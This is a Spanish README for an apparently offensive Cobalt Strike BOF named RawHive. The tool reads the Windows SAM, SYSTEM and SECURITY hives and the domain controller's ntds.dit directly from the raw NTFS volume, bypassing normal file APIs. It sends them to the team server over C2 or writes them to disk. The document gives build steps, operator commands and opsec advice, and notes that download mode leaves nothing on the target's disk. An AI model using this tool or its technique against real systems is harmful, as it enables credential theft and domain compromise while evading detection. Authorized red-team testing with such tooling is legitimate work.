RawHive

RawHive es un BOF de Cobalt Strike para extraer hives del registro de Windows seleccionados directamente desde un volumen NTFS en bruto. Omite las API de archivos normales, recorre los metadatos de NTFS para encontrar los registros de archivo objetivo y lee los bytes directamente del disco.

Objetivos:

• C:\Windows\System32\config\SAM
• C:\Windows\System32\config\SYSTEM
• C:\Windows\System32\config\SECURITY
• C:\Windows\NTDS\ntds.dit (solo controladores de dominio)

Cualquier letra de unidad NTFS local funciona; la predeterminada es C:.

Cómo funciona

1. Abre el volumen (por ejemplo \\.\C:) y lee el sector de arranque para localizar $MFT.
2. Recorre los índices de directorio para Windows, System32, config y los archivos objetivo, con un escaneo acotado del MFT como respaldo.
3. Lee los datos del archivo desde atributos residentes o runlists de clústeres.
4. Transmite los bytes a través de C2 (modo descarga) o los escribe en disco (modo escritura en disco).

Requisitos

• Beacon de 64 bits ejecutándose como administrador local o SYSTEM.
• x86_64-w64-mingw32-gcc y make para compilar.

Compilación

make

Compila dist/rawhive.x64.o. rawhive.cna carga el objeto desde dist/, así que recompila después de modificar rawhive.c.

Uso

El modo descarga es el predeterminado: los hives se leen directamente del volumen en bruto y se envían al team server mediante la API BeaconDownload. Nada toca el disco del objetivo.

rawhive                    # download C: hives to team server
rawhive D                  # download D: hives to team server

El modo escritura en disco guarda archivos .tmp en un directorio del objetivo. Ten en cuenta que esto toca el disco y puede no ser opsec safe; prefiere el modo descarga a menos que necesites específicamente que los archivos queden localmente.

rawhive C:\Windows\Temp           # write C: hives to disk
rawhive C:\Windows\Temp D         # write D: hives to C:\Windows\Temp

El volumen se puede escribir como C, c o C:. El directorio de salida debe existir previamente.

Salida

Los archivos se nombran <host>_<timestamp>_<hive>.tmp:

<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp       # DCs only

En modo descarga aparecen en la bandeja de descargas de Cobalt Strike; en modo escritura en disco llegan al directorio de salida especificado.

Notas

• El escaneo de respaldo del MFT está limitado a 500.000 registros.
• Las runlists están limitadas a 128 extensiones; un archivo demasiado fragmentado falla en lugar de reportar un archivo parcial como completo.
• Las estructuras NTFS malformadas o no compatibles se rechazan en lugar de continuar con offsets inseguros.

Prueba de concepto